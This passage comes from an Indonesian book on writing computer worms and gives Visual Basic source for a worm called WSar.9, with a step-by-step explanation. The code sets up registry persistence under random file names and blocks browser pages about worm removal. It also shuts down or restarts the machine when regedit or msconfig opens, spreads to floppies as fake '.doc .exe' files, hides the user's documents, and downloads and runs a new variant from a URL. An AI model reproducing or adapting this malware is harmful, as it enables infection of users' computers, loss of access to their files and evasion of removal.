For i = 1 To RandNo Randomize() a = Int(Rnd * 62) RandomName = RandomName & Mid(alp, a, 1) Next i If LCase(WSarName) = "error" Then FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") Else If LCase(App.Path) LCase(SpecialFolder(1)) Then End Kill(SpecialFolder(1) & "\" & WSarLast) DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion\Run", WSarName) FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") End If End Sub
Bab 15. Worm WSar.9
Private Sub ChangeIcon() On Error Resume Next If Dir(SpecialFolder(0) & "\" & "WSar9.ico") = "" Then DropFile("CUSTOM", 101, SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CLASSES_ROOT\exefile\DefaultIcon", _ "", SpecialFolder(0) & "\" & "WSar9.ico") End If SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-A" & _ "D25-11D0-98A8-0800361B1103}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3A" & _ "EA-1069-A2D8-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3A" & _ "EA-1069-A2D7-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "full", _ SpecialFolder(0) & "\" & "WSar9.ico")
265
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "empty", _ SpecialFolder(0) & "\" & "WSar9.ico") End Sub Private Sub tmrBlockUrl_Timer() On Error Resume Next BlockUrl("worm") BlockUrl("virus") BlockUrl("removal") End Sub Private Sub tmrDefender_Timer() On Error Resume Next If WinCheck("taskmgr.exe") = False Then TskActMon = False End If If WinCheck("taskmgr.exe") = True And TskActMon = True Then _ Exit Sub If WinCheck("taskmgr.exe") = True And TskActMon = False Then RenProcess(App.EXEName & ".exe", "explorer.exe") RenProcess("EXPLORER.EXE", "SVCHOST.EXE") RenProcess("Explorer.exe", "svchost.exe") RenProcess("SYSTEM", "WSarWasHere") TskActMon = True End If If WinCheck("regedit.exe") = True Or WinCheck("regedt32.exe") = _ True Then tmrDefender.Enabled = False TurnOff(ShutDown, True) End If If WinCheck("msconfig.exe") = True Then tmrDefender.Enabled = False TurnOff(Restart, True) End If End Sub
Bab 15. Worm WSar.9
Private Sub InfectFloppy() On Error Resume Next Dim Files() As String Dim i As Integer Dim Acak As Integer lstDoc.Clear() lstDoc.AddItem(GetStringValue("HKEY_CURRENT_USER\So" & _ "ftware\Microsoft\Windows\CurrentVersion\Explorer\Shell F" & _ "olders", "Personal")) Files() = GetFiles(lstDoc.List(0) & "\" & "*.doc", vbNormal) lstDoc.Clear() For i = 1 To UBound(Files) lstDoc.AddItem(Files(i)) Next i Randomize() Acak = Int(Rnd * (lstDoc.ListCount))
266
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
If Len(Dir$("A:\*doc .exe")) = 0 Then If lstDoc.ListCount > 0 Then FileCopy(WormFile, "A:\" & lstDoc.List(Acak) & " .exe") Else FileCopy(WormFile, "A:\readme.doc .exe") End If End If End Sub
Private Sub tmrMulti_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If Minute(Now) = 1 Or Minute(Now) = 31 Then SwapMouseButton(True) StartButton(False) Else SwapMouseButton(False) StartButton(True) End If If Month(Now) = 10 And Day(Now) = 13 And CPayload = False _ Then CPayload = True Payload() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir If Year(Now) > 2006 And VarianExist = False Then If Len(Dir$(SpecialFolder(0) & "\wsar" & Year(Now) & ".exe")) = _ 0 Then Downloader("http://www.iwwa.or.id/newvarian/wsarx.exe", _ SpecialFolder(0) & "\wsar" & Year(Now) & ".exe", True) VarianExist = True End If End If akhir: End Sub
267
Jasakom
Bab 15. Worm WSar.9
Private Sub Payload() On Error Resume Next Phantom(GetStringValue("HKEY_CURRENT_USER\Software\" & _ "Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal"), "*.doc", WormFile, "where my document.doc .exe") MsgBox("WSar.9 Ada Pada Komputer Anda", vbExclamation, _ "WSar.9") End Sub
Computer Worm 1 - Secret of Underground Coding : Uncensored
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Function DropFile(ByVal ResType As String, ByVal ResID As Long, _ ByVal OutputPath As String) On Error Resume Next Dim DROP() As Byte DROP = LoadResData(ResID, ResType) Open OutputPath For Binary As #1 Put #1, , DROP Close #1 End Function
Bab 15. Worm WSar.9
Private Function Downloader(ByVal FileOnNet As String, ByVal FileOutput _ As String, ByVal Execute As Boolean) On Error Resume Next Dim newfile() As Byte If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir Inet1.RequestTimeout = 40 newfile() = Inet1.OpenURL(FileOnNet, icByteArray) Open FileOutput For Binary Access Write As #1 Put #1, , newfile() Close #1 If Execute = True Then Shell(FileOutput) End If akhir: End Function Private Function Phantom(ByVal DirPath As String, ByVal Extention _ As String, ByVal FullSourcePath As String, ByVal TargetName As _ String) As Long On Error Resume Next Dim eksfile As String Dim fwall As Long If Right(DirPath, 1) "\" Then DirPath = DirPath & "\" eksfile = Dir(DirPath, vbDirectory)
268
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Do While Trim(eksfile) "" If Trim(eksfile) "." And Trim(eksfile) ".." Then If (GetAttr(DirPath + eksfile) And vbDirectory) = _ vbDirectory Then fwall = Phantom(DirPath + eksfile, Extention, _ FullSourcePath, _ TargetName) eksfile = Dir(DirPath, vbDirectory) Else eksfile = Dir(, vbDirectory) End If Else eksfile = Dir(, vbDirectory) End If Loop eksfile = Dir(DirPath + Extention) Do While Trim(eksfile) "" FileCopy(FullSourcePath, DirPath & TargetName) SetAttr (DirPath + eksfile), vbHidden + vbSystem eksfile = Dir Loop If Right(DirPath, 1) = "\" Then DirPath = Mid(DirPath, 1, Len _ (DirPath) - 1) SetAttr(DirPath, vbSystem) Phantom = 0 End Function
Bab 15. Worm WSar.9
Function GetFiles(filespec As String, Optional Attributes As _ VbFileAttribute) As String() On Error Resume Next Dim result() As String Dim filename As String, count As Long, path2 As String Const ALLOC_CHUNK = 50 ReDim result(0 To ALLOC_CHUNK) As String filename = Dir$(filespec, Attributes) Do While Len(filename) count = count + 1 If count > UBound(result) Then ReDim Preserve result(0 To count + ALLOC_CHUNK) As String End If result(count) = filename filename = Dir$ Loop ReDim Preserve result(0 To count) As String GetFiles = result End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
269
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Untuk module mdlRegistryAPI Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinCheck menggunakan module yang sama pada WSar.8 Berikut penjelasan tentang kode program: Procedure Form_Load seperti biasa mengatur agar worm tidak tampil pada jendela Task List, mencegah proses baru dari file yang sama dan mengeksekusi procedure InfectSystem, kemudian worm memanggil procedure ChangeIcon. Adapun pengaturan nilai variabel CPayload dan VarianExist menjadi false berkaitan dengan procedure tmrMulti_Timer. Procedure InfectSystem pada WSar.9 berbeda pada worm dasar sebelumnya, dimulai dengan memberikan nilai pada beberapa variabel yang mengacu pada suatu data registry, yaitu: • Variabel WSarName mengacu pada key registry "HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data "ProductNo" • Variabel WSarLast yang mengacu pada key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data 'ProductCode’ • Variabel WSarPath yang mengacu pada key registry "HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" dan dengan nilai data yang diambil dari nilai variabel WSarName.
Bab 15. Worm WSar.9
Jika nilai pada variabel WSarName adalah "error" yang berarti nilai registry tersebut tidak ditemukan dan berarti pula bahwa worm belum melakukan penginfeksian pada system komputer tersebut maka worm akan membuat salinan ke direktori System Windows dengan menggunakan nama yang diambil secara acak dan berkisar antara 4 hingga 12 karakter. Untuk memudahkan penjelasan berikutnya nama file ini kita sebut dengan istilah NextName. Worm kemudian mengatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName, kemudian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori System Windows.
270
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Sebaliknya jika nilai pada variabel WSarName ditemukan, maka jika path file utama tidak berada pada direktori System Windows, maka worm langsung mengakhiri proses dari file utama hal ini untuk mencegah penginfeksian berulang dari file infector lainnya, dan jika tidak worm akan menghapus file yang mengacu pada variabel WSarLast, kemudian menghapus key registry yang mengacu pada variabel WSarPath dengan value yang mengacu pada variabel WSarName. Selanjutnya worm akan membuat salinan ke direktori System Windows dengan menggunakan nama NextName lainnya. Worm kemudian mengatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName kemudian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori System Windows. Demikian hal ini akan berulang setiap kali Windows startup.
Sebaliknya jika file WSar9.ico ditemukan, maka WSar.9 mengatur beberapa nilai registry yang mengacu pada pengaturan default untuk icon My Documents, My Computer, My Network Place dan Recycle Bin. dengan mengganti icon tersebut menjadi icon WSar9.ico. Procedure tmrBlockUrl_Timer aktif setiap satu detik dengan menutup aplikasi browser yang pada address-nya mengandung kata worm, virus dan removal. Hal ini dilakukan dengan menggunakan function BlockUrl yang terdapat pada module mdlBlockUrl. Procedure tmrDefender_Timer aktif setiap 0.2 detik, dengan menggunakan function WinCheck worm memeriksa apakah aplikasi Windows Task Manager dijalankan oleh user atau tidak.
271
Jasakom
Bab 15. Worm WSar.9
Procedure ChangeIcon saat dieksekusi akan memeriksa keberadaan file WSar9.ico yang berada pada direktori Windows, jika tidak ditemukan maka dengan menggunakan resource file sebagai metode Drop File. Worm mengekstrak file WSar9.ico yang merupakan file icon bergambar hati ke direktori Windows dan langsung mengatur suatu nilai registry yang mengacu pada pengaturan default untuk icon berekstensi *.exe dengan mengganti icon tersebut menjadi icon WSar9.ico.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Jika ternyata aplikasi tersebut dijalankan maka variabel TskActMon diatur menjadi false. Kemudian jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah true maka procedure diakhiri. Jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah false maka worm akan merubah string yang bertuliskan nama file utama dengan string "explorer.exe", string "EXPLORER.EXE" menjadi "SVCHOST.EXE" string "explorer.exe" menjadi "svchost.exe" dan merubah string "SYSTEM" menjadi "WSarWasHere" kemudian mengatur nilai TskActMon menjadi true. Jika user menjalankan aplikasi regedit.exe atau regedt32.exe (Registry Editor) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung mematikan komputer. Jika user menjalankan aplikasi msconfig.exe (System Configuration Utility) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung me-restart komputer. Saat procedure InfectFloppy dieksekusi pertama kali yang dilakukan adalah membersihkan data pada ListBox lstDoc, kemudian menambahkan satu item mengacu pada nilai registry yang merupakan lokasi default untuk folder My Document aktif.
Bab 15. Worm WSar.9
WSar.9 kemudian mencari dan mengumpulkan file yang berekstensi *.doc pada folder tersebut dan menyimpannya dalam ListBox lstDoc. Jika ListBox lstDoc memiliki data maka worm memilih secara acak nama file dokumen tersebut dan menggunakan nama tersebut untuk membuat salinan pada drive A, tentunya dengan ekstensi .exe. Sebaliknya jika pada ListBox lstDoc tidak ditemukan adanya data maka WSar.9 menggunakan nama default "readme.doc.exe". Procedure Payload akan memanggil function Phantom dengan variabel DirPath yang diambil dari lokasi default untuk folder My Document, variabel Extention diatur pada *.doc, variabel FullSourcePath dari fullpath file utama dan variabel TargetName yang diatur menjadi "where my document.doc.exe". Setelah itu seperti yang terjadi pada worm dasar lainnya, WSar.9 juga menampilkan pesan "WSar.9 Ada Pada Komputer Anda".
272
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Procedure tmrMulti_Timer aktif setiap 0.5 detik. Jika angka kedua pada menit sekarang adalah 2 atau angka kedua pada menit sekarang adalah 8 dan detik sekarang adalah 13 maka akan di-eksekusi procedure InfectFloppy. Jika menit sekarang adalah 1 atau 31 maka panggil function SwapMouseButton dari module mdlIseng yang akan menukar fungsi tombol pada mouse, kemudian akan dipanggil function StartButton dari module mdlIseng yang akan menyembunyikan tombol Startmenu. Jika menit bukan 1 atau 31 maka sebaliknya akan menormalkan fungsi tombol pada mouse dan tetap menampilkan tombol Startmenu. Jika bulan sekarang adalah Oktober dan tanggal sekarang adalah 13 dan nilai CPayload adalah false, maka atur variabel CPayload menjadi true, kemudian panggil procedure PayLoad. Jika komputer tidak terkoneksi ke internet maka akan mengakhiri procedure. Jika tahun sekarang lebih besar dari 2006 dan nilai VarianExist adalah false, maka jika file dengan nama file wsar(tahun sekarang).exe (sebagai contoh jika tahun sekarang adalah 2007 maka nama filenya adalah: wsar2007.exe) tidak ditemukan pada direktori Windows maka WSar.9 memanggil function Downloader yang akan men-download file dari site fiktif http://www.iwwa.or.id/newvar ian/wsarx.exe, dengan lokasi file pada direktori Windows dan langsung mengeksekusinya, kemudian mengatur nilai VarianExist menjadi true.
Function Phantom bertugas untuk memeriksa suatu folder tertentu dan mencari file-file dengan suatu ekstensi tertentu, dimana function ini menyembunyikan file-file tersebut dan meninggalkan suatu salinan file tertentu dengan nama file tertentu pula. Function GetFiles berfungsi untuk membantu mengumpulkan file dengan ekstensi tertentu dan pada direktori tertentu. Module mdlBlockUrl memiliki function utama BlockUrl, function yang akan memeriksa address bar pada aplikasi Internet Explorer dan Netscape.
273
Jasakom
Bab 15. Worm WSar.9
Function DropFile berguna untuk mengekstrak resource file dari body program utama. Function Downloader berfungsi untuk memudahkan pengambilan file di internet.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Module mdlIseng memiliki 3 function utama, yaitu Function ShowCursor yang dapat menyembunyikan dan menampilkan pointer mouse, Function SwapMouseButton yang mampu menukar fungsi tombol pada mouse, dan function StartButton yang dapat menyembunyikan dan menampilkan tombol Startmenu. Module mdlRenProcess memiliki function utama RenProcess yang dapat mengganti string pada jendela aplikasi Task List. Module mdlTurnOff memiliki function utama TurnOff, function yang dapat menghentikan system komputer dengan berbagai cara seperti ShutDown, Restart atau LogOff. Catatan untuk WSar.9: berikut ini adalah beberapa lokasi registry, sehubungan dengan icon default pada suatu ekstensi Ekstensi
Lokasi Key
AVI
HKEY_CLASSES_ROOT\AVIFile\DefaultIcon
CHM
HKEY_CLASSES_ROOT\chm.file\DefaultIcon
GIF
HKEY_CLASSES_ROOT\giffile\DefaultIcon
HTML
HKEY_CLASSES_ROOT\htmlfile\DefaultIcon
ICO
HKEY_CLASSES_ROOT\icofile\DefaultIcon
JPG
HKEY_CLASSES_ROOT\jpegfile\DefaultIcon
MID
HKEY_CLASSES_ROOT\MIDFile\DefaultIcon
MP3
HKEY_CLASSES_ROOT\mp3file\DefaultIcon
MPEG
HKEY_CLASSES_ROOT\mpegfile\DefaultIcon
WMA
HKEY_CLASSES_ROOT\wmafile\DefaultIcon
WMF
HKEY_CLASSES_ROOT\wmffile\DefaultIcon
Bab 15. Worm WSar.9
274
Jasakom
Nama penulis Achmad Darmal, lahir pada tanggal 13 Oktober 1980 di Tarakan, Kalimantan Timur - Indonesia, saat ini bekerja pada salah satu perusahaan swasta yang bergerak dibidang konstruksi dan pertambangan, penulis juga bekerja part-time dibeberapa lembaga kursus sebagai tenaga instruktur sekaligus merangkap sebagai teknisi komputer. Saat ini penulis sedang memperdalam ilmu komputer animasi dan desain grafis, serta aktif dalam pengembangan software perusahaan dimana penulis bekerja.
Alamat lengkap penulis: Jl. Pesisir Indah RT. 13 No. 86 Kel. Selumit Pantai Tarakan Tengah, Kalimantan Timur - Indonesia Telp: (0551) 5505637 Fax: (0551) 34971 E-mail :
[email protected]
275
ofil - Profil - Profil - Profil -Profil - Profil -Profil - Profil - Profil -Pro
PROFIL PENULIS
Jasakom
Aplikasi Computer Worm 1 & Computer Worm 2
Belanja Aman dan Nyaman WWW.TOKOMAHAL.COM
www.buku-joomla.us adalah situs yang dibangun dan dikelola oleh pembaca buku Joomla! 1.5 : Dunianya Maya, Untungnya Nyata. Sebagai pembaca, Anda berhak mengakses, membangun, merubah seisi situs ini. Dapatkan informasi detailnya didalam buku Joomla 1.5 !
Penulis : S’to
Dapatkan Buku-Buku S'to !
Windows XP:XXX dan Windows XP2:XXX merupakan serial buku IT paling laris sepanjang tahun. Buku ini akan memperlihatkan kepada Anda bagaimana melakukan berbagai hal unik dengan Windows XP yang tidak pernah Anda bayangkan sebelumnya. Tidak percaya? Silahkan buktikan sendiri !
Dapatkan Juga Windows VISTA XXX
Kunjungi www.jasakom.com untuk melihat dan membeli buku-buku terbitan dari Jasakom Buku ini juga tersedia di toko-toko buku di seluruh Indonesia seperti Gramedia, Toga Mas Gunung Agung, Toko Utama, Kharisma, Uranus, dll